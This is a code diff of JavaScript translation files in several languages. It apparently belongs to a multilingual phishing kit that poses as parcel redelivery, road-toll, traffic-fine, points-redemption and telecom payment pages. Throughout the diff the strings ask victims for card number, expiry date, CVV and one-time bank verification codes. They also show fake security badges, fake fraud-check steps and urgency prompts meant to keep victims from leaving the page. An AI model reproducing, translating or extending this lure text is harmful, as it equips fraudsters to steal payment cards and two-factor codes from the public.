"State": "Πολιτεία",
"Province": "Επαρχία",
"Region": "Περιοχή",
"Zip Code": "Ταχυδρομικός Κώδικας",
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
"Next": "Επόμενο",
"Telephone Number": "Αριθμός Τηλεφώνου",
"Online": "Online",
"Payment": "Πληρωμή",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
"lump sum: ": "Εφάπαξ: ",
"Cardholder": "Κάτοχος Κάρτας",
"Card Number": "Αριθμός Κάρτας",
"Expire Date": "Ημερομηνία Λήξης",
"Security Code": "Κωδικός Ασφαλείας",
"Submit": "Υποβολή",
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
"Mailing address": "Διεύθυνση Αποστολής",
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
"Safe payment": "Ασφαλής Πληρωμή",
"Verification code": "Κωδικός Επαλήθευσης",
"Welcome": "Καλώς ήρθατε",
"back": "Πίσω!",
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
"Check your points": "Ελέγξτε τους πόντους σας",
"Phone number": "Αριθμός Τηλεφώνου",
"Inquire": "Ρωτήστε",
"Exchange": "Ανταλλαγή",
"Spend points": "Ξοδέψτε Πόντους",
"Points Available": "Διαθέσιμοι Πόντοι",
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
"Order number": "Αριθμός Παραγγελίας: ",
"Pay": "Πληρωμή",
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
"Billing Information": "Πληροφορίες Τιμολόγησης",
"Description": "Περιγραφή",
"Dear customer": "Αγαπητέ πελάτη:",
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
"Invoice Number": "Αριθμός Τιμολογίου",
"Amount": "Ποσό",
"Pay Immediately": "Πληρώστε Άμεσα",
"Phone Number": "Αριθμός Τηλεφώνου",
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
"Illustrate": "Επεξηγήστε",
"SSL Encryption": "Κρυπτογράφηση SSL",
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
"Transaction ID:": "Αριθμός Συναλλαγής:",
"Processing Network:": "Δίκτυο Επεξεργασίας:",
"Processing Time:": "Χρόνος Επεξεργασίας:",
"Security Level:": "Επίπεδο Ασφαλείας:",
"Preparing...": "Προετοιμασία...",
"High": "Υψηλό",
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
"UnionPay Gateway": "Πύλη UnionPay",
"{time} seconds": "{time} δευτερόλεπτα",
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
"Toll Payment": "Πληρωμή Διοδίων",
"License Plate Number": "Αριθμός Κυκλοφορίας",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
"Tolls": "Διόδια",
"Due Date": "Ημερομηνία Λήξης",
"Fine Amount": "Ποσό προστίμου",
"Pay Now": "Πληρώστε Τώρα",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
"First and Last Name": "Όνομα και Επώνυμο",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Ημερομηνία Λήξης",
"MM/YY": "MM/ΕΕ",
"123(CVV)": "123(CVV)",
"Card Icon": "Εικονίδιο Κάρτας",
"CVV": "CVV",
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
"Phone": "Τηλέφωνο",
"Toll Amount": "Ποσό Διοδίων",
"50.00 EUR": "50.00 EUR"
};

View File

@@ -0,0 +1,96 @@
export default {
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
"Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering",
"Your Name": "Dit navn",
"Address": "Adresse",
"Detailed Address": "Detaljeret adresse",
"(Optional)": "(Valgfrit)",
"City": "By",
"State": "Stat",
"Province": "Provins",
"Region": "Region",
"Zip Code": "Postnummer",
"E-Mail": "E-mail",
"Next": "Næste",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
"lump sum: ": "Engangsbeløb: ",
"Cardholder": "Kortholder",
"Card Number": "Kortnummer",
"Expire Date": "Udløbsdato",
"Security Code": "Sikkerhedskode",
"Submit": "Indsend",
"Click here to receive another code": "Klik her for at modtage en ny kode",
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her",
"The verification code has been sent to": "Bekræftelseskoden er sendt til",
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion",
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu",
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
"Authorized bank": "Autoriseret bank",
"Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen",
"Please do not close this page": "Luk venligst ikke denne side",
"Payment Successful": "Betaling lykkedes!",
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt",
"Mailing address": "Postadresse",
"street address or house number": "Gadeadresse eller husnummer",
"Apartment number": "Lejlighedsnummer, værelsesnummer osv.",
"Safe payment": "Sikker betaling",
"Verification code": "Bekræftelseskode",
"Welcome": "Velkommen",
"back": "tilbage!",
"We reward you for using point services": "Vi belønner dig for at bruge pointtjenester",
"Check your points": "Tjek dine point",
"Phone number": "Telefonnummer",
"Inquire": "Forespørg",
"Exchange": "Byt",
"Spend points": "Brug point",
"Points Available": "Tilgængelige point",
"You don't have enough points": "Du har ikke nok point",
"Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt",
"Confirm your shipping address": "Bekræft din forsendelsesadresse",
"Order number": "Ordrenummer: ",
"Pay": "Betal",
"Pay Message": "Betal {0} for at indløse point til varer",
"Pay electronic tolls online": "Betal elektroniske vejafgifter online",
"your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.",
"Billing Information": "Faktureringsoplysninger",
"Description": "Beskrivelse",
"Dear customer": "Kære kunde:",
"Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Invoice Number": "Fakturanummer",
"Amount": "Beløb",
"Pay Immediately": "Betal straks",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Illustrate": "Illustrer",
"SSL Encryption": "SSL-kryptering",
"PCI-DSS Certified": "PCI-DSS-certificeret",
"Transaction Details": "Transaktionsdetaljer",
"Transaction ID:": "Transaktions-ID:",
"Processing Network:": "Behandlingsnetværk:",
"Processing Time:": "Behandlingstid:",
"Security Level:": "Sikkerhedsniveau:",
"Preparing...": "Forbereder...",
"High": "Høj",
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
"Encrypting card information...": "Krypterer kortoplysninger...",
"Establishing secure connection...": "Etablerer sikker forbindelse...",
"Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...",
"Validating CVV code...": "Validerer CVV-kode...",
"Checking fraud risk...": "Tjekker svindelrisiko...",
"Sending transaction request...": "Sender transaktionsanmodning...",
"Waiting for bank authorization...": "Venter på bankgodkendelse...",
"Processing bank response...": "Behandler banksvar...",
"Confirming transaction status...": "Bekræfter transaktionsstatus...",
"Finalizing transaction...": "Afslutter transaktion...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk",
"American Express Dedicated Channel": "American Express Dedikeret Kanal",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} sekunder",
"International Payment Network": "Internationalt Betalingsnetværk"
}

View File

@@ -0,0 +1,150 @@
export default {
"There is an error in this field, please check": "Има грешка в това поле, моля проверете",
"Please enter a valid email address": "Моля, въведете валиден имейл адрес",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Уважаеми потребители, моля попълнете формуляра внимателно, за да осигурите успешна доставка",
"Your Name": "Вашето име",
"Address": "Адрес",
"Detailed Address": "Подробен адрес",
"(Optional)": "(По избор)",
"City": "Град",
"State": "Област",
"Province": "Провинция",
"Region": "Регион",
"Zip Code": "Пощенски код",
"E-Mail": "Имейл",
"Next": "Напред",
"Telephone Number": "Телефонен номер",
"Online": "Онлайн",
"Payment": "Плащане",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За повторна доставка се изисква такса за обслужване. Вашият пакет ще бъде изпратен след потвърждение на плащането.",
"lump sum: ": "Обща сума: ",
"Cardholder": "Име на картодържателя",
"Card Number": "Номер на карта",
"Expire Date": "Дата на валидност",
"Security Code": "Код за сигурност (CVV)",
"Submit": "Изпрати",
"Click here to receive another code": "Натиснете тук, за да получите нов код",
"Please confirm your identity and a one-time code will be sent": "Моля, потвърдете самоличността си; еднократен код (OTP) ще бъде изпратен на вашия телефон или имейл. Въведете кода тук.",
"The verification code has been sent to": "Кодът за потвърждение беше изпратен на",
"Please do not click the": "Моля, не натискайте „Обнови“ или „Назад“, тъй като това може да прекъсне транзакцията.",
"Verification code error, please try again": "Грешен код за потвърждение, моля опитайте отново",
"The session is about to expire, please complete the verification now": "Сесията е на път да изтече, моля завършете потвърждението сега",
"This card does not support this transaction, please try another card": "Тази карта не поддържа тази транзакция, моля опитайте с друга карта",
"Authorized bank": "Оторизирана банка",
"Please go to the bank App to confirm the authorization": "Моля, отворете банковото приложение, за да потвърдите операцията",
"Please do not close this page": "Моля, не затваряйте тази страница",
"Payment Successful": "Плащането е успешно!",
"Thank you for your purchase. Your payment has been processed successfully": "Благодарим ви. Вашето плащане беше обработено успешно.",
"Mailing address": "Адрес за доставка",
"street address or house number": "Улица и номер",
"Apartment number": "Апартамент, етаж, офис и др.",
"Safe payment": "Сигурно плащане",
"Verification code": "Код за потвърждение",
"Welcome": "Добре дошли",
"back": "Назад",
"We reward you for using point services": "Награждаваме ви за използването на нашите услуги с точки",
"Check your points": "Проверете баланса си от точки",
"Phone number": "Телефонен номер",
"Inquire": "Провери",
"Exchange": "Обмени",
"Spend points": "Използвай точки",
"Points Available": "Налични точки",
"You don't have enough points": "Недостатъчен баланс от точки",
"Please redeem your favorite product": "Моля, изберете предпочитаната си награда",
"Confirm your shipping address": "Потвърдете адреса за доставка",
"Order number": "Номер на поръчка: ",
"Pay": "Плати",
"Pay Message": "Платете {0}, за да обмените точките си за награди",
"Pay electronic tolls online": "Платете електронни пътни такси онлайн",
"your electronic toll payment was unsuccessful": "Вашето плащане на пътна такса беше неуспешно.",
"Billing Information": "Информация за плащане",
"Description": "Описание",
"Dear customer": "Уважаеми клиенте:",
"Electronic Communications Charge Payment Failed": "Плащането на електронната комуникационна такса е неуспешно",
"Invoice Number": "Номер на фактура / известие",
"Amount": "Сума",
"Pay Immediately": "Плати веднага",
"Phone Number": "Телефонен номер",
"Electronic communication fee payment failed": "Плащането на таксата за електронна комуникация е неуспешно",
"Illustrate": "Подробности",
"SSL Encryption": "SSL криптиране",
"PCI-DSS Certified": "PCI-DSS сертифициран",
"Transaction Details": "Детайли за транзакцията",
"Transaction ID:": "ID на транзакцията:",
"Processing Network:": "Мрежа за обработка:",
"Processing Time:": "Време за обработка:",
"Security Level:": "Ниво на сигурност:",
"Preparing...": "Подготовка...",
"High": "Високо",
"Initializing payment environment...": "Инициализиране на защитена платежна среда...",
"Encrypting card information...": "Криптиране на информацията за картата...",
"Establishing secure connection...": "Установяване на защитена връзка...",
"Verifying card number and issuer...": "Проверка на номера и издателя на картата...",
"Validating CVV code...": "Проверка на CVV кода...",
"Checking fraud risk...": "Проверка за риск от измама...",
"Sending transaction request...": "Изпращане на заявка за транзакция...",
"Waiting for bank authorization...": "Изчакване на банково потвърждение...",
"Processing bank response...": "Обработка на банковия отговор...",
"Confirming transaction status...": "Потвърждаване на статуса на транзакцията...",
"Finalizing transaction...": "Финализиране на транзакцията...",
"Visa Secure Network": "Visa защитена мрежа",
"Mastercard Global Payment Network": "Mastercard глобална платежна мрежа",
"American Express Dedicated Channel": "Специализиран канал на American Express",
"UnionPay Gateway": "UnionPay платежен шлюз",
"{time} seconds": "{time} секунди",
"International Payment Network": "Международна платежна мрежа",
"Homepage License Plate": "Регистрационен номер",
"JCC Smart Cyprus Image": "Изображение за сигурност",
"Check Your Payment Details": "Проверете данните за плащането",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Въведете регистрационния номер на вашето превозно средство, за да потвърдите акаунта си и да избегнете глоби.",
"Enter license plate number (e.g. XYZ1234)": "Въведете регистрационен номер (напр. CB1234AB)",
"Verify Payment Details": "Потвърдете данните за плащането",
"Toll Payment": "Плащане на такса / глоба",
"License Plate Number": "Регистрационен номер",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информация за нарушение (напр. превишена скорост). Първо нарушение <strong>100 лв.</strong>, второ нарушение <strong>300 лв.</strong> и т.н.",
"Tolls": "Глоби / Такси",
"Due Date": "Краен срок",
"Fine Amount": "Сума на глобата",
"Pay Now": "Плати сега",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Моля, имайте предвид, че поради закъсняло плащане тази транзакция приема само кредитни карти.",
"Cardholder Name": "Име на картодържателя",
"First and Last Name": "Име и фамилия",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Дата на валидност",
"MM/YY": "MM/YY",
"123(CVV)": "123 (CVV)",
"Card Icon": "Икона на карта",
"CVV": "CVV",
"Successful Toll Payment": "Успешно плащане",
"Thank you for your payment. The tolls have been processed successfully.": "Благодарим ви. Вашето плащане беше обработено успешно.",
"Phone": "Телефон",
"Toll Amount": "Обща сума",
payment_loading: {
modal_title: "Обработка на плащането",
modal_subtitle: "Моля, не затваряйте тази страница",
transaction_details: "Детайли за транзакцията",
transaction_id: "ID на транзакцията:",
processing_network: "Мрежа за обработка:",
processing_time: "Време за обработка:",
security_level: "Ниво на сигурност:",
preparing: "Подготовка...",
high: "Високо",
step_init: "Инициализиране на платежната среда...",
step_encrypt: "Криптиране на информацията за картата...",
step_connect: "Установяване на защитена връзка...",
step_verify_card: "Проверка на номера и издателя на картата...",
step_validate_cvv: "Проверка на CVV кода...",
step_fraud: "Проверка за риск от измама...",
step_send: "Изпращане на заявка за транзакция...",
step_wait_auth: "Изчакване на банково потвърждение...",
step_process_resp: "Обработка на банковия отговор...",
step_confirm: "Потвърждаване на статуса на транзакцията...",
step_finalize: "Финализиране на транзакцията...",
network_visa: "Visa защитена мрежа",
network_mastercard: "Mastercard глобална платежна мрежа",
network_amex: "Специализиран канал на American Express",
network_unionpay: "UnionPay платежен канал",
network_intl: "Международна платежна мрежа",
time_seconds: "{time} секунди",
},
};

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
"Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa",
"Your Name": "Su nombre",
"Address": "Dirección",
"Detailed Address": "Dirección detallada",
"(Optional)": "(Opcional)",
"City": "Ciudad",
"State": "Estado",
"Province": "Provincia",
"Region": "Región",
"Zip Code": "Código postal",
"E-Mail": "Correo electrónico",
"Next": "Siguiente",
"Telephone Number": "Número de teléfono",
"Online": "En línea",
"Payment": "Pago",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago",
"lump sum: ": "Suma total: ",
"Cardholder": "Titular de la tarjeta",
"Card Number": "Número de tarjeta",
"Expire Date": "Fecha de expiración",
"Security Code": "Código de seguridad",
"Submit": "Enviar",
"Click here to receive another code": "Haga clic aquí para recibir otro código",
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí",
"The verification code has been sent to": "El código de verificación ha sido enviado a",
"Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción",
"Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente",
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
"Authorized bank": "Banco autorizado",
"Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización",
"Please do not close this page": "Por favor no cierre esta página",
"Payment Successful": "¡Pago exitoso!",
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito",
"Mailing address": "Dirección postal",
"street address or house number": "Calle o número de casa",
"Apartment number": "Número de apartamento, habitación, etc.",
"Safe payment": "Pago seguro",
"Verification code": "Código de verificación",
"Welcome": "Bienvenido",
"back": "¡Atrás!",
"We reward you for using point services": "Le recompensamos por utilizar servicios de puntos",
"Check your points": "Consultar sus puntos",
"Phone number": "Número de teléfono",
"Inquire": "Consultar",
"Exchange": "Intercambiar",
"Spend points": "Gastar puntos",
"Points Available": "Puntos disponibles",
"You don't have enough points": "No tiene suficientes puntos",
"Please redeem your favorite product": "Por favor canjee su producto favorito",
"Confirm your shipping address": "Confirme su dirección de envío",
"Order number": "Número de pedido: ",
"Pay": "Pagar",
"Pay Message": "Pague {0} para canjear productos con puntos",
"Pay electronic tolls online": "Pagar peajes electrónicos en línea",
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.",
"Billing Information": "Información de facturación",
"Description": "Descripción",
"Dear customer": "Estimado cliente:",
"Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas",
"Invoice Number": "Número de factura",
"Amount": "Monto",
"Pay Immediately": "Pagar ahora",
"Phone Number": "Número de teléfono",
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
"Illustrate": "Ilustrar",
"SSL Encryption": "Cifrado SSL",
"PCI-DSS Certified": "Certificado PCI-DSS",
"Transaction Details": "Detalles de la transacción",
"Transaction ID:": "ID de transacción:",
"Processing Network:": "Red de procesamiento:",
"Processing Time:": "Tiempo de procesamiento:",
"Security Level:": "Nivel de seguridad:",
"Preparing...": "Preparando...",
"High": "Alta",
"Initializing payment environment...": "Inicializando entorno de pago...",
"Encrypting card information...": "Encriptando información de la tarjeta...",
"Establishing secure connection...": "Estableciendo conexión segura...",
"Verifying card number and issuer...": "Verificando número de tarjeta y emisor...",
"Validating CVV code...": "Validando código CVV...",
"Checking fraud risk...": "Comprobando riesgo de fraude...",
"Sending transaction request...": "Enviando solicitud de transacción...",
"Waiting for bank authorization...": "Esperando autorización del banco...",
"Processing bank response...": "Procesando respuesta del banco...",
"Confirming transaction status...": "Confirmando estado de la transacción...",
"Finalizing transaction...": "Finalizando transacción...",
"Visa Secure Network": "Red segura de Visa",
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
"American Express Dedicated Channel": "Canal dedicado American Express",
"UnionPay Gateway": "Pasarela UnionPay",
"{time} seconds": "{time} segundos",
"International Payment Network": "Red de pagos internacional",
"Homepage License Plate": "Placa en la página de inicio",
"JCC Smart Cyprus Image": "Imagen JCC Smart Chipre",
"Check Your Payment Details": "Verifique los detalles de su pago",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.",
"Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)",
"Verify Payment Details": "Verificar detalles de pago",
"Toll Payment": "Pago de peaje",
"License Plate Number": "Número de placa",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción <strong>50€</strong>, segunda <strong>150€</strong>, y así sucesivamente.",
"Tolls": "Peajes",
"Due Date": "Fecha de vencimiento",
"Fine Amount": "Monto de la multa",
"Pay Now": "Pagar ahora",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.",
"Cardholder Name": "Nombre del titular",
"First and Last Name": "Nombre y apellido",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Fecha de expiración",
"MM/YY": "MM/AA",
"123(CVV)": "123(CVV)",
"Card Icon": "Ícono de tarjeta",
"CVV": "CVV",
"Successful Toll Payment": "Pago de peaje exitoso",
"Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.",
"Phone": "Teléfono",
"Toll Amount": "Monto del peaje",
};

View File

@@ -0,0 +1,81 @@
export default {
"There is an error in this field, please check":
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
"Your Name": "Az Ön neve",
"Address": "Cím",
"Detailed Address": "Részletes cím",
"(Optional)": "(Opcionális)",
"City": "Város",
"State": "Állam",
"Province": "Megye",
"Region": "Régió",
"Zip Code": "Irányítószám",
"E-Mail": "E-mail",
"Next": "Tovább",
"Telephone Number": "Telefonszám",
"Online": "Online",
"Payment": "Fizetés",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
"lump sum: ": "átalányösszeg: ",
"Cardholder": "Kártyatulajdonos",
"Card Number": "Kártyaszám",
"Expire Date": "Lejárati dátum",
"Security Code": "Biztonsági kód",
"Submit": "Küldés",
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
"Please confirm your identity and a one-time code will be sent":
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
"The verification code has been sent to":
"Az ellenőrző kódot elküldtük a következő címre:",
"Please do not click the":
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
"Verification code error, please try again":
"Ellenőrző kód hiba, kérjük, próbálja újra",
"The session is about to expire, please complete the verification now":
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
"This card does not support this transaction, please try another card":
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
"Authorized bank": "Engedélyezett bank",
"Please go to the bank App to confirm the authorization":
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
"Payment Successful": "Sikeres fizetés!",
"Thank you for your purchase. Your payment has been processed successfully":
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
"Mailing address": "Levelezési cím",
"street address or house number": "utca vagy házszám",
"Apartment number": "Lakásszám, szobaszám stb.",
"Safe payment": "Biztonságos fizetés",
"Verification code": "Ellenőrző kód",
"Welcome": "Üdvözöljük",
"back":"vissza!",
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
"Check your points": "Ellenőrizze a pontjait",
"Phone number": "Telefonszám",
"Inquire": "Érdeklődés",
"Exchange": "Csere",
"Spend points": "Pontok felhasználása",
"Points Available": "Elérhető pontok",
"You don't have enough points": "Nincs elég pontja",
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
"Confirm your shipping address": "Erősítse meg szállítási címét",
"Order number": "Rendelésszám: ",
"Pay": "Fizetés",
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
"Billing Information": "Számlázási adatok",
"Description": "Leírás",
"Dear customer": "Kedves vásárlónk:",
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Invoice Number": "Számlaszám",
"Amount": "Összeg",
"Pay Immediately": "Fizessen azonnal",
"Phone Number": "Telefonszám",
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Illustrate":"Szemléltet"
};

View File

@@ -0,0 +1,123 @@
export default {
"There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet",
"Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi",
"Your Name": "Jūsu vārds",
"Address": "Adrese",
